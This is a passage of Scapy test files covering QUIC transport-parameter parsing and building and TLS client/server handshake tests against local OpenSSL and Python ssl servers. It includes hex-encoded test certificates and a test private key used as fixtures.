bytes.fromhex(\"010001e403034f417babafc5dc240c744225bb09b0c5067618b7501ef4bf7ea73c64249e5d0c000006130213011303010001b50033010c010a00170041048497f2dd89fb1d341b02894edd154ebd5ee5e55594d7935d99d2c05733991cccc9af02200e53bcc80208fa1498c5c88ccf643d598cb05c5fde37a1e468cd593200180061045bff37b0fde67fcfc50b7ab6eb139f51998bdb859632138b30caf96882ef871b27aaf534cce0dcfa157be21343fd6b0db5cc306564f19c46d3c9e175e3dbbb594fe7c393e35de695fc84f64ec4a59ee3cea26a0599a61d6dfc18568fb5c0cb85001d00205af975b0ec59288a578c94890d3264f9ac025ab86f7cd718112da6b923b2e54d001e0038f989efd52e4e8ab64491bfd8b8d30481d854b9394f517148dc8d5a50a43ebbdcca6e4b27229acd2f20b6633632d32e9be6999a40d30561e2002b0003020304000d00140012040308040401050308050501020108070808000a000a000800170018001d001e002d000201010000000e000c00000968332d7365727665720010000500030268330039005301048000ea600404801000000508c0000001000000000608c0000001000000000708c00000010000000008024080090240800a01030b01190e01080f087f317d3033e6423e110c00000001000000016b3343cf\")\n\nch = TLS13ClientHello(ch_data)\ntp = ch.ext[-1]\nassert isinstance(tp, TLS_Ext_QUICTransportParameters)\nassert isinstance(tp.params[0], QUIC_TP_MaxIdleTimeout)\nassert tp.params[0].value == 60000\nassert isinstance(tp.params[1], QUIC_TP_InitialMaxData)\nassert tp.params[1].value == 1048576\nassert isinstance(tp.params[2], QUIC_TP_InitialMaxStreamDataBidiLocal)\nassert tp.params[2].value == 4294967296\nassert isinstance(tp.params[3], QUIC_TP_InitialMaxStreamDataBidiRemote)\nassert tp.params[3].value == 4294967296\nassert isinstance(tp.params[4], QUIC_TP_InitialMaxStreamDataUni)\nassert tp.params[4].value == 4294967296\nassert isinstance(tp.params[5], QUIC_TP_InitialMaxStreamsBidi)\nassert tp.params[5].value == 128\nassert isinstance(tp.params[6], QUIC_TP_InitialMaxStreamsUni)\nassert tp.params[6].value == 128\nassert isinstance(tp.params[7], QUIC_TP_AckDelayExponent)\nassert tp.params[7].value == 3\nassert isinstance(tp.params[8], QUIC_TP_MaxAckDelay)\nassert tp.params[8].value == 25\nassert isinstance(tp.params[9], QUIC_TP_ActiveConnectionIdLimit)\nassert tp.params[9].value == 8\nassert isinstance(tp.params[10], QUIC_TP_InitialSourceConnectionId)\nassert tp.params[10].value == bytes.fromhex(\"7f317d3033e6423e\")\n\n= QUIC Transport Parameters - Build packet\n~ quic\n\nfrom scapy.layers.tls.quic import *\nfrom scapy.layers.tls.all import TLS_Ext_QUICTransportParameters\n\ntp = TLS_Ext_QUICTransportParameters(params=[\n    QUIC_TP_MaxIdleTimeout(value=5000),\n    QUIC_TP_MaxUdpPayloadSize(value=1350),\n    QUIC_TP_InitialMaxData(value=10000000),\n    QUIC_TP_InitialMaxStreamDataBidiLocal(value=1000000),\n    QUIC_TP_InitialMaxStreamDataBidiRemote(value=1000000),\n    QUIC_TP_InitialMaxStreamDataUni(value=1000000),\n    QUIC_TP_InitialMaxStreamsBidi(value=100),\n    QUIC_TP_InitialMaxStreamsUni(value=100),\n    QUIC_TP_AckDelayExponent(value=3),\n    QUIC_TP_MaxAckDelay(value=25),\n    QUIC_TP_DisableActiveMigration(),\n    QUIC_TP_InitialSourceConnectionId(value=bytes.fromhex(\"2173071905d778f98e367b8ad8eeb526484e8f5d\")),\n])\nactual = tp.build()\n\n# the expected data is extracted from the ClientHello above\nexpect = bytes.fromhex(\"0039004601015388030145460401809896800501800f42400601800f42400701800f424008014064090140640a01030b01190c000f142173071905d778f98e367b8ad8eeb526484e8f5d\")\n\nassert actual == expect\n\n= QUIC Transport Parameters - Build empty packet\n~ quic\n\nfrom scapy.layers.tls.all import TLS_Ext_QUICTransportParameters\n\np = TLS_Ext_QUICTransportParameters(params=[])\nactual = p.build()\n\nassert actual == b'\\x009\\x00\\x00'\n\n= QUIC Transport Parameters - Throw error if value is a big integer\n~ quic\n\nfrom scapy.layers.tls.quic import QUIC_TP_InitialMaxData\n\n# A 62-bit left shift results in an integer of 63 bits\np = QUIC_TP_InitialMaxData(value=1<<62)\ntry:\n    p.build()\n    assert False, \"QUIC cannot decode integers with more than 62 bits\"\nexcept struct.error:\n    pass\n"
  },
  {
    "path": "test/scapy/layers/tls/tlsclientserver.uts",
    "content": "% TLS session establishment tests\n\n~ crypto\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n############\n############\n\n+ Common util functions\n\n= Load server util functions\n\nimport sys, os, re, time, subprocess\nfrom queue import Queue\nimport threading\n\nfrom ast import literal_eval\nimport os\nimport sys\nfrom contextlib import contextmanager\nfrom scapy.autorun import StringWriter\n\nfrom scapy.config import conf\nfrom scapy.layers.tls.automaton_srv import TLSServerAutomaton\n\nconf.verb = 4\nconf.debug_tls = True  \nconf.debug_dissector = 2\nload_layer(\"tls\")\n\n@contextmanager\ndef captured_output():\n    old_out, old_err = sys.stdout, sys.stderr\n    new_out, new_err = StringWriter(debug=old_out), StringWriter(debug=old_out)\n    try:\n        sys.stdout, sys.stderr = new_out, new_err\n        yield sys.stdout, sys.stderr\n    finally:\n        sys.stdout, sys.stderr = old_out, old_err\n\ndef check_output_for_data(out, err, expected_data):\n    errored = err.s.strip()\n    if errored:\n        return (False, errored)\n    output = out.s.strip()\n    if expected_data:\n        expected_data = plain_str(expected_data)\n        print(\"Testing for output: '%s'\" % expected_data)\n        p = re.compile(r\"> Received: b?'([^']*)'\")\n        for s in p.finditer(output):\n            if s:\n                data = s.group(1)\n                print(\"Found: %s\" % data)\n                if expected_data in data:\n                    return (True, data)\n        return (False, output)\n    else:\n        return (False, None)\n\n\ndef run_tls_test_server(expected_data, q, curve=None, cookie=False, client_auth=False,\n                        psk=None, handle_session_ticket=False, sigalgo=\"rsa\"):\n    correct = False\n    print(\"Server started !\")\n    with captured_output() as (out, err):\n        # Prepare automaton\n        if sigalgo == \"rsa\":\n            mycert = scapy_path(\"/test/scapy/layers/tls/pki/srv_cert.pem\")\n            mykey = scapy_path(\"/test/scapy/layers/tls/pki/srv_key.pem\")\n        elif sigalgo == \"ed25519\":\n            mycert = scapy_path(\"/test/scapy/layers/tls/pki/srv_cert_ed25519.pem\")\n            mykey = scapy_path(\"/test/scapy/layers/tls/pki/srv_key_ed25519.pem\")\n        else:\n            raise ValueError\n        print(mykey)\n        print(mycert)\n        assert os.path.exists(mycert)\n        assert os.path.exists(mykey)\n        kwargs = dict()\n        if psk:\n            kwargs[\"psk\"] = psk\n            kwargs[\"psk_mode\"] = \"psk_dhe_ke\"\n        t = TLSServerAutomaton(mycert=mycert,\n                               mykey=mykey,\n                               curve=curve,\n                               cookie=cookie,\n                               client_auth=client_auth,\n                               handle_session_ticket=handle_session_ticket,\n                               debug=4,\n                               **kwargs)\n        # Sync threads\n        q.put(t)\n        # Run server automaton\n        t.run()\n        # Return correct answer\n        res = check_output_for_data(out, err, expected_data)\n    # Return data\n    q.put(res)\n\n\ndef wait_tls_test_server_online():\n    t = time.time()\n    while True:\n        if time.time() - t > 3:\n            raise RuntimeError(\"Server socket failed to start in time\")\n        try:\n            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            s.settimeout(1)\n            s.connect((\"127.0.0.1\", 4433))\n            s.shutdown(socket.SHUT_RDWR)\n            s.close()\n            return\n        except IOError:\n            try:\n                s.close()\n            except:\n                pass\n            time.sleep(0.1)\n            continue\n\n\ndef run_openssl_client(msg, suite=\"\", version=\"\", tls13=False, client_auth=False,\n                       psk=None, sess_out=None):\n    # Run client\n    CA_f = scapy_path(\"/test/scapy/layers/tls/pki/ca_cert.pem\")\n    mycert = scapy_path(\"/test/scapy/layers/tls/pki/cli_cert.pem\")\n    mykey = scapy_path(\"/test/scapy/layers/tls/pki/cli_key.pem\")\n    args = [\n        \"openssl\", \"s_client\",\n        \"-connect\", \"127.0.0.1:4433\", \"-debug\",\n        \"-ciphersuites\" if tls13 else \"-cipher\", suite,\n        version,\n        \"-CAfile\", CA_f\n    ]\n    if client_auth:\n        args.extend([\"-cert\", mycert, \"-key\", mykey])\n    if psk:\n        args.extend([\"-psk\", str(psk)])\n    if sess_out:\n        args.extend([\"-sess_out\", sess_out])\n    p = subprocess.Popen(\n        \" \".join(args),\n        shell=True,\n        stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT\n    )\n    msg += b\"\\nstop_server\\n\"\n    out = p.communicate(input=msg)[0]\n    print(plain_str(out))\n    if p.returncode != 0:\n        raise RuntimeError(\"OpenSSL returned with error code %s\" % p.returncode)\n    else:\n        p = re.compile(br'verify return:(\\d+)')\n        _failed = False\n        _one_success = False\n        for match in p.finditer(out):\n            if match.group(1).strip() != b\"1\":\n                _failed = True\n                break\n            else:\n                _one_success = True\n                break\n        if _failed or not _one_success:\n            raise RuntimeError(\"OpenSSL returned unexpected values\")\n\ndef test_tls_server(suite=\"\", version=\"\", tls13=False, client_auth=False, psk=None, curve=None, sigalgo=\"rsa\"):\n    msg = (\"TestS_%s_data\" % suite).encode()\n    # Run server\n    q_ = Queue()\n    th_ = threading.Thread(target=run_tls_test_server, args=(msg, q_),\n                           kwargs={\"curve\": curve, \"cookie\": False, \"client_auth\": client_auth,\n                                   \"psk\": psk, \"sigalgo\": sigalgo},\n                           name=\"test_tls_server %s %s\" % (suite, version), daemon=True)\n    th_.start()\n    # Synchronise threads\n    print(\"Synchronising...\")\n    atmtsrv = q_.get(timeout=5)\n    if not atmtsrv:\n        raise RuntimeError(\"Server hanged on startup\")\n    try:\n        wait_tls_test_server_online()\n    except Exception as ex:\n        atmtsrv.stop()\n        raise ex\n    print(\"Thread synchronised\")\n    # Run openssl client\n    run_openssl_client(msg, suite=suite, version=version, tls13=tls13, client_auth=client_auth, psk=psk)\n    # Wait for server\n    ret = q_.get(timeout=5)\n    if not ret:\n        raise RuntimeError(\"Test timed out\")\n    atmtsrv.stop()\n    print(ret)\n    assert ret[0]\n\n+ TLS server automaton tests\n~ server needs_root\n\n= Testing TLS server with TLS 1.0 and TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\n~ open_ssl_client\n\ntest_tls_server(\"ECDHE-RSA-AES128-SHA\", \"-tls1\")\n\n= Testing TLS server with TLS 1.1 and TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\n~ open_ssl_client\n\ntest_tls_server(\"ECDHE-RSA-AES128-SHA\", \"-tls1_1\")\n\n= Testing TLS server with TLS 1.2 and TLS_DHE_RSA_WITH_AES_128_CBC_SHA256\n~ open_ssl_client\n\ntest_tls_server(\"DHE-RSA-AES128-SHA256\", \"-tls1_2\")\n\n= Testing TLS server with TLS 1.2 and TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\n~ open_ssl_client\n\ntest_tls_server(\"ECDHE-RSA-AES256-GCM-SHA384\", \"-tls1_2\")\n\n= Testing TLS server with TLS 1.3 and TLS_AES_256_GCM_SHA384\n~ open_ssl_client\n\ntest_tls_server(\"TLS_AES_256_GCM_SHA384\", \"-tls1_3\", tls13=True)\n\n= Testing TLS server with TLS 1.3 and TLS_AES_256_GCM_SHA384 with x448 curve (+HelloRetryRequest)\n~ open_ssl_client\n\ntest_tls_server(\"TLS_AES_256_GCM_SHA384\", \"-tls1_3\", tls13=True, curve=\"x448\")\n\n= Testing TLS server with TLS 1.3 and TLS_AES_256_GCM_SHA384 with Ed25519-signed cert\n~ open_ssl_client\n\ntest_tls_server(\"TLS_AES_256_GCM_SHA384\", \"-tls1_3\", tls13=True, sigalgo=\"ed25519\")\n\n= Testing TLS server with TLS 1.3 and TLS_AES_256_GCM_SHA384 and client auth\n~ open_ssl_client\n\ntest_tls_server(\"TLS_AES_256_GCM_SHA384\", \"-tls1_3\", tls13=True, client_auth=True)\n\n= Testing TLS server with TLS 1.3 and ECDHE-PSK-AES256-CBC-SHA384 and PSK\n~ open_ssl_client\n\ntest_tls_server(\"ECDHE-PSK-AES256-CBC-SHA384\", \"-tls1_3\", tls13=False, psk=\"1a2b3c4d\")\n\n+ TLS client automaton tests\n~ client\n\n= Load client utils functions\n\nimport sys, os, time, threading\n\nfrom scapy.layers.tls.automaton_cli import TLSClientAutomaton\nfrom scapy.layers.tls.handshake import TLSClientHello, TLS13ClientHello\n\nfrom queue import Queue\n\nsend_data = cipher_suite_code = version = None\n\ndef run_tls_test_client(send_data=None, cipher_suite_code=None, version=None,\n                        client_auth=False, key_update=False, stop_server=True,\n                        session_ticket_file_out=None, session_ticket_file_in=None):\n    print(\"Loading client...\")\n    mycert = scapy_path(\"/test/scapy/layers/tls/pki/cli_cert.pem\") if client_auth else None\n    mykey = scapy_path(\"/test/scapy/layers/tls/pki/cli_key.pem\") if client_auth else None\n    commands = [send_data]\n    if key_update:\n        commands.append(b\"key_update\")\n    if stop_server:\n        commands.append(b\"stop_server\")\n    if session_ticket_file_out:\n        commands.append(b\"wait\")\n    commands.append(b\"quit\")\n    if version == \"0002\":\n        t = TLSClientAutomaton(data=commands, version=\"sslv2\", debug=4, mycert=mycert, mykey=mykey,\n                               session_ticket_file_in=session_ticket_file_in,\n                               session_ticket_file_out=session_ticket_file_out)\n    elif version == \"0304\":\n        ch = TLS13ClientHello(ciphers=int(cipher_suite_code, 16))\n        t = TLSClientAutomaton(client_hello=ch, data=commands, version=\"tls13\", debug=4, mycert=mycert, mykey=mykey,\n                               session_ticket_file_in=session_ticket_file_in,\n                               session_ticket_file_out=session_ticket_file_out)\n    else:\n        ch = TLSClientHello(version=int(version, 16), ciphers=int(cipher_suite_code, 16))\n        t = TLSClientAutomaton(client_hello=ch, data=commands, debug=4, mycert=mycert, mykey=mykey,\n                               session_ticket_file_in=session_ticket_file_in,\n                               session_ticket_file_out=session_ticket_file_out)\n    print(\"Running client...\")\n    t.run()\n\ndef test_tls_client(suite, version, curve=None, cookie=False, client_auth=False,\n                    key_update=False, sess_in_out=False, sigalgo=\"rsa\"):\n    msg = (\"TestC_%s_data\" % suite).encode()\n    # Run server\n    q_ = Queue()\n    print(\"Starting server...\")\n    th_ = threading.Thread(target=run_tls_test_server, args=(msg, q_),\n                           kwargs={\"curve\": None, \"cookie\": False, \"client_auth\": client_auth,\n                                   \"handle_session_ticket\": sess_in_out, \"sigalgo\": sigalgo},\n                           name=\"test_tls_client %s %s\" % (suite, version), daemon=True)\n    th_.start()\n    # Synchronise threads\n    print(\"Synchronising...\")\n    atmtsrv = q_.get(timeout=5)\n    if not atmtsrv:\n        raise RuntimeError(\"Server hanged on startup\")\n    try:\n        wait_tls_test_server_online()\n    except Exception as ex:\n        atmtsrv.stop()\n        raise ex\n    print(\"Thread synchronised\")\n    # Run client\n    if sess_in_out:\n        file_sess = scapy_path(\"/test/session\")\n        run_tls_test_client(msg, suite, version, client_auth, key_update, session_ticket_file_out=file_sess,\n                            stop_server=False)\n        run_tls_test_client(msg, suite, version, client_auth, key_update, session_ticket_file_in=file_sess,\n                            stop_server=True)\n    else:\n        run_tls_test_client(msg, suite, version, client_auth, key_update)\n    # Wait for server\n    print(\"Client running, waiting...\")\n    ret = q_.get(timeout=5)\n    if not ret:\n        raise RuntimeError(\"Test timed out\")\n    atmtsrv.stop()\n    print(ret)\n    assert ret[0]\n\n= Testing TLS server and client with SSLv2 and SSL_CK_DES_192_EDE3_CBC_WITH_MD5\n\ntest_tls_client(\"0700c0\", \"0002\")\n\n= Testing TLS server and client with SSLv2 and SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5\n\ntest_tls_client(\"040080\", \"0002\")\n\n= Testing TLS client with SSLv3 and TLS_RSA_EXPORT_WITH_RC4_40_MD5\n\ntest_tls_client(\"0003\", \"0300\")\n\n= Testing TLS client with TLS 1.0 and TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA\n\ntest_tls_client(\"0088\", \"0301\")\n\n= Testing TLS client with TLS 1.0 and TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5\n\ntest_tls_client(\"0006\", \"0301\")\n\n= Testing TLS client with TLS 1.1 and TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\n\ntest_tls_client(\"c013\", \"0302\")\n\n= Testing TLS client with TLS 1.2 and TLS_DHE_RSA_WITH_AES_128_GCM_SHA256\n\ntest_tls_client(\"009e\", \"0303\")\n\n= Testing TLS client with TLS 1.2 and TLS_ECDH_anon_WITH_RC4_128_SHA\n\ntest_tls_client(\"c016\", \"0303\")\n\n= Testing TLS server and client with TLS 1.3 and TLS_AES_128_GCM_SHA256\n\ntest_tls_client(\"1301\", \"0304\")\n\n= Testing TLS server and client with TLS 1.3 and TLS_CHACHA20_POLY1305_SHA256\n~ crypto_advanced\n\ntest_tls_client(\"1303\", \"0304\")\n\n= Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256\n~ crypto_advanced\n\ntest_tls_client(\"1305\", \"0304\")\n\n= Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 and x448\n~ crypto_advanced\n\ntest_tls_client(\"1305\", \"0304\", curve=\"x448\")\n\n= Testing TLS server and client with TLS 1.3 and a retry\n~ crypto_advanced\n\ntest_tls_client(\"1302\", \"0304\", curve=\"secp256r1\", cookie=True)\n\n= Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 with Ed25519-signed cert\n~ open_ssl_client\n\ntest_tls_client(\"1305\", \"0304\", sigalgo=\"ed25519\")\n\n= Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 and client auth\n~ crypto_advanced\n\ntest_tls_client(\"1305\", \"0304\", client_auth=True)\n\n= Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 and key update\n~ crypto_advanced\n\ntest_tls_client(\"1305\", \"0304\", key_update=True)\n\n= Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 and session resumption\n~ crypto_advanced not_pypy\n\ntest_tls_client(\"1305\", \"0304\", client_auth=True, sess_in_out=True)\n\n= Clear session file\n\nfile_sess = scapy_path(\"/test/session\")\ntry:\n    os.remove(file_sess)\nexcept:\n    pass\n\n############\n############\n+ TLS client automaton tests against builtin ssl using Post Handshake Authentication\n~ client post_handshake_auth\n\n= Load native server util functions\n\n# Imports\n\nimport ssl\nimport contextlib\nimport threading\n\nload_layer(\"tls\")\nload_layer(\"http\")\n\n# Define PKI\n\nroot_ca_cert = hex_bytes(\"0a2d2d2d2d2d424547494e2043455254494649434154452d2d2d2d2d0a4d4949446c7a4343416e2b6741774942416749555664642b794d436278356772635441773335717939337552517841774451594a4b6f5a496876634e4151454c0a42514177577a454c4d416b474131554542684d4351554578436a414942674e564241674d41574578436a414942674e564241634d41574578436a414942674e560a42416f4d41574578436a414942674e564241734d41574578436a414942674e5642414d4d415745784544414f42676b71686b69473977304243514557415745770a4868634e4d6a4d774e5445344d444d7a4d4455305768634e4d7a67774e5445354d444d7a4d445530576a42624d517377435159445651514745774a425154454b0a4d41674741315545434177425954454b4d41674741315545427777425954454b4d41674741315545436777425954454b4d41674741315545437777425954454b0a4d4167474131554541777742595445514d41344743537147534962334451454a4152594259544343415349774451594a4b6f5a496876634e41514542425141440a676745504144434341516f4367674542414a37775a326b6457577a6b6277725838565176743565747a55587737577967664970475038786543483632446979690a354a48546b3352716a6531444362476369566b4b386956746439507852475478764a6a476a49694b686a3545306e304c336542513771466c6567374a6d3147750a507a4154455779456f6a773975513343794c4f76395742374574434e626647476334544f564649635742684e5a5777324e306e37533834546f435a4942366c4e0a4c4c583639646f65684a33372b55457455553159775a4a474d72586a435653502b6f3136436568306c4d466e6553594d6a376c434b49426666525278725765720a354763733577423548574d636d6630626e774471534d78374d566a746f663678506b7570495039526f497977306b324f71516c4543612b4855556451306346590a564a53506d63424b554e6336787254756c346e447136442b6563594f7461754854726c36326e55434177454141614e544d464577485159445652304f424259450a4650786e62526467356a436549742b65556d314342695245583536334d42384741315564497751594d4261414650786e62526467356a436549742b65556d31430a42695245583536334d41384741315564457745422f7751464d414d42416638774451594a4b6f5a496876634e4151454c4251414467674542414876625a7a572b0a767553313239393268774442424a67586938386f426955787459383931556839364e77315876586841685873745338775551643749497a62795251626b6866530a424e6d626f59656e6b6b4272462b37474e696e394630564c516f7a344c67414c566e376c763635414f51554d7357503859694238563841516c6c447a305a2f770a69335a78423631436c50694f4d347a6e4a6a33324263794f50594267456b4a6c695143503854514c68555067504f742f7a4130453873584e56757354563976690a3168356d6e77332f4248572f52524e79496642365938336c5939345a577933754a72514d674352633957344a5076644e564a61494b38694241743258533276740a5665634a4b6942785347474a4564486561774b6a542f5674736b64432b3357696f756430527652716c7745622f4a50686b686553576d4a6b70436545773253720a6e6f64314c4c346b6a574159344c633d0a2d2d2d2d2d454e442043455254494649434154452d2d2d2d2d0a\")\nrsa_cert = hex_bytes(\"0a2d2d2d2d2d424547494e2043455254494649434154452d2d2d2d2d0a4d494944666a4343416d616741774942416749424154414e42676b71686b69473977304241517346414442624d517377435159445651514745774a425154454b0a4d41674741315545434177425954454b4d41674741315545427777425954454b4d41674741315545436777425954454b4d41674741315545437777425954454b0a4d4167474131554541777742595445514d41344743537147534962334451454a4152594259544165467730794d7a41314d5467774d7a51354d445261467730790a4f4441314d5463774d7a51354d4452614d467378437a414a42674e5642415954416b4a434d516f774341594456515149444146694d516f7743415944565151480a444146694d516f77434159445651514b444146694d516f77434159445651514c444146694d516f774341594456515144444146694d5241774467594a4b6f5a490a6876634e41516b42466746694d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b43415145413647667370784a570a655a366231313741312f6f637668303368706e6e366e6b5064487a5a33387956784b4f586a38505a4f4659794d79676a6546742f625a644a6a4b4179716432520a6c4374397a76716b3067306346336552373756457a626b724b6f7a384e73506757566577496e5933436c5633313367666b4e755955652f73666259303448376f0a5455694a73392f524c383975746a444e742b6d7259544f62426e4c7036734546774a646574426f694e6a623767693631363641763471576c50556d5a5331796b0a69386e385867554e5131535a5a4d4776497a4138556148433034684a556c342f4a5944622f51665551715034316464426d3877677252726b553176384136346b0a6a543344334954766f7234516e4b6b61436a32675853486658306e42636e4a644759572f484a38642f426e2b47714f6b324d5a515636656649722b4f6b5948330a7448575753543271676f6c6930514944415141426f303077537a414a42674e5648524d45416a41414d4230474131556444675157424254754631747a507a557a0a6b726471483838483850443354485269637a416642674e5648534d4547444157674254385a323058594f59776e694c666e6c4a745167596b52462b65747a414e0a42676b71686b6947397730424151734641414f4341514541484278614d6d68744a5035524d306b48595932486952755862635677455a2b6a46745968636252460a53484d32562f59526d55576f324f78666236574c727679482f65703552792f525a4c737261426a4e53495749394774462b3457794c305949482b52436e3235550a35316a34724e587269484d5a6c2f796375686d7456496c754a4f4d6a67572b44684b6b4568726e307a674653537654636c797a6843726653556f52595a7a362b0a474e305a705476486f35512f746d72752f6f6c47695a4271464d30554d4e4f4577444251586c68645964365134313479793574616c2f524f4c424b64595949420a534744696b552b356a75764e613761686e6f726365314c5a6d6d6e332b576530673052792f73362f39555135577339336f39635136335458654775773078674b0a7a496744627a38534948634c2b747559784b68364357636b4f436b67366e564e63616b45554c2f3243674b687a413d3d0a2d2d2d2d2d454e442043455254494649434154452d2d2d2d2d0a\")\nrsa_key = hex_bytes(\"0a2d2d2d2d2d424547494e2050524956415445204b45592d2d2d2d2d0a4d494945766749424144414e42676b71686b6947397730424151454641415343424b67776767536b41674541416f49424151446f5a2b796e456c5a356e7076580a587344582b68792b485465476d65667165513930664e6e667a4a58456f35655077396b34566a497a4b434e34573339746c306d4d6f444b70335a47554b33334f0a2b71545344527758643548767455544e755373716a507732772b425a56374169646a634b5658665865422b5132356852372b7839746a54676675684e53496d7a0a333945767a3236324d4d3233366174684d35734763756e71775158416c313630476949324e7675434c7258726f432f6970615539535a6c4c584b534c796678650a42513144564a6c6b7761386a4d4478526f634c5469456c53586a386c674e7639423952436f2f6a56313047627a43437447755254572f77447269534e506350630a684f2b697668436371526f4b506142644964396653634679636c305a686238636e783338476634616f365459786c4258703538697634365267666530645a5a4a0a5061714369574c5241674d42414145436767454142756750447342516768446f317475357744617555394774394b6e4f5958665973667444685553726c4754370a3173373436465646624d3259704f73576763543778507054627877477832713179644e77676b364237637045383770464563454669364241795962614a7241320a414e777355726f4c55356a2b425363617a63714e765162365a336141727656457a774532665539394d7a47786c31776e612b6a5152716d4a456f764c466a66310a68584841786e4d6765514f73556c6f506e6833682f4159774b3934385444732b634a4b4a33776a376a6335794a66456e70352f73784268433165356738594f450a563671426c682f702f3462615074757a49726a324d384f44566772304661624945362b537530577a4c6366597a50432b35536930543345673735672f736e666b0a724473703743517a55644973696d3443485432627a44483656775749774271386d4f645961766e592f514b426751442b764d626b414d54714c2f4d482f70614c0a46672f505272322f502b384c745a555247593477414138566c4b4334664342473250544a474837475231546559386e5a466d584878526561534a4667365855690a6153534f484b39586d2f43715962477664624a7553426f42492f6562566264706c504454376143374a52697766704176504d7a516b6552326d36556775516e720a6b49474376584f2f673874525357494e6d68354e5a46364533514b42675144706a732f78783531423753544c386d5946544e7147506a52316669697635684b2b0a492b6255643975585a33527445503078666e682f344f6c682b7a6c664d596b7a49356c376a68384c74326a6b31364978426a38376e774366566c636b5044464d0a516c4f624a676376383632364a5843377745666c3837594e77524d426b5238776964685a774b5052464a79395072315270782b715176507054483633704368770a704f435a7273514d68514b4267472b73334e6936435a6e4e575a4d6f706d446c5642722f6e56484a756f64386e4a5135697438364e324b7a6e4e346a394a5a360a714a3238636c2b4569413153322f7569325134434e7232356b4a7057337259754f41746851664637654c2b4a517264304e72776f4f645a454b566e6338794b440a58437a636f546c4b49772f452f487270416256794d434662544d4953764f6d626d567479714e724e38595636555655374f6f75644d393631416f4742414a4d630a6f5635706e5751704f3051374b6f657349506a74745a314d4764537831707874674c6654787a3157724c38474e48553464433459504f69366c536967797771720a49634878677879654b6a50366e753743514a494e56526349433175486a6f573651573834524d3676626e34526c7a4372724a33724a49454658444e67645954640a54716b3537665745526a58746a74496673704a4d4764615a6d446554377555453958505834535542416f4742414e4466535966544239774330334859415846550a78553554682f763075387a7a2b7235477a586863342b33513446746769336b51743164682f702b47384c764257744b65354d622f6651424c77514154613143330a735837786863612b66553467642f536638526a6a54783634696b413545585147306c6443696a6c4463554c4f5868386d4557574d636b2b333932416648584a740a4a687951526b427a453941664339526f642b61365455686f0a2d2d2d2d2d454e442050524956415445204b45592d2d2d2d2d0a\")\n\ncafile = get_temp_file()\ncertfile = get_temp_file()\nkeyfile = get_temp_file()\n\nwith open(cafile, \"wb\") as fd:\n    fd.write(root_ca_cert)\n\nwith open(certfile, \"wb\") as fd:\n    fd.write(rsa_cert)\n\nwith open(keyfile, \"wb\") as fd:\n    fd.write(rsa_key)\n\n# Define server\n\nREQS = [\n    HTTP() / HTTPRequest(Path=\"/a.txt\", Host=\"127.0.0.1:59000\") / b\"hey1\",\n    HTTP() / HTTPRequest(Path=\"/b.txt\", Host=\"127.0.0.1:59000\") / b\"hey2\",\n]\n\nRESPS = [\n    HTTP() / HTTPResponse(Status_Code=\"401\", Reason_Phrase=\"Unauthorized\") / \"Please login\",\n    HTTP() / HTTPResponse(Status_Code=\"200\", Reason_Phrase=\"OK\") / \"Welcome\",\n]\n\ndef run_tls_native_test_server(post_handshake_auth=False,\n                               with_hello_retry=False):\n    # Create\n    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n    context.load_verify_locations(cafile=cafile)\n    if post_handshake_auth:\n        context.post_handshake_auth = True\n    if with_hello_retry:\n        context.set_ecdh_curve(\"prime256v1\")\n    context.verify_mode = ssl.CERT_REQUIRED\n    context.load_cert_chain(certfile=certfile, keyfile=keyfile)\n    \n    port = [None]\n    lock = threading.Lock()\n    lock.acquire()\n    \n    def ssl_server():\n        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        server.settimeout(1)\n        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        server.bind((\"0.0.0.0\", 0))\n        server.listen(5)\n        port[0] = server.getsockname()[1]\n        # Sync\n        lock.release()\n        # Accept socket\n        client_socket, addr = server.accept()\n        ssl_client_socket = context.wrap_socket(client_socket, server_side=True)\n        # Receive / send data\n        resp = ssl_client_socket.read(len(REQS[0]))\n        assert resp == bytes(REQS[0])\n        ssl_client_socket.send(bytes(RESPS[0]))\n        if post_handshake_auth:\n            # Post-handshake\n            t = ssl_client_socket.verify_client_post_handshake()\n        # Receive / send data\n        resp = ssl_client_socket.read(len(REQS[1]))\n        assert resp == bytes(REQS[1])\n        ssl_client_socket.send(bytes(RESPS[1]))\n        # close socket\n        try:\n            ssl_client_socket.shutdown(socket.SHUT_RDWR)\n        finally:\n            ssl_client_socket.close()\n        try:\n            server.shutdown(socket.SHUT_RDWR)\n        finally:\n            server.close()\n    \n    server = threading.Thread(target=ssl_server)\n    server.start()\n    assert lock.acquire(timeout=5), \"Server failed to start in time !\"\n    return server, port[0]\n\n\ndef test_tls_client_native(post_handshake_auth=False,\n                           with_hello_retry=False):\n    server, port = run_tls_native_test_server(\n        post_handshake_auth=post_handshake_auth,\n        with_hello_retry=with_hello_retry,\n    )\n    \n    a = TLSClientAutomaton.tlslink(\n        HTTP,\n        server=\"127.0.0.1\",\n        dport=port,\n        version=\"tls13\",\n        mycert=certfile,\n        mykey=keyfile,\n        # we select x25519 but the server enforces seco256r1, so a Hello Retry will be issued\n        curve=\"x25519\" if with_hello_retry else None,\n        # debug=4,\n    )\n    # First request\n    pkt = a.sr1(REQS[0], timeout=1, verbose=0)\n    assert pkt.load == b\"Please login\"\n    # Second request\n    a.send(REQS[1])\n    pkt = a.sr1(REQS[1], timeout=1, verbose=0)\n    assert pkt.load == b\"Welcome\"\n    # Close\n    a.close()\n    # Wait for server to close\n    server.join(3)\n    assert not server.is_alive()\n\n\n# XXX: Ugh, 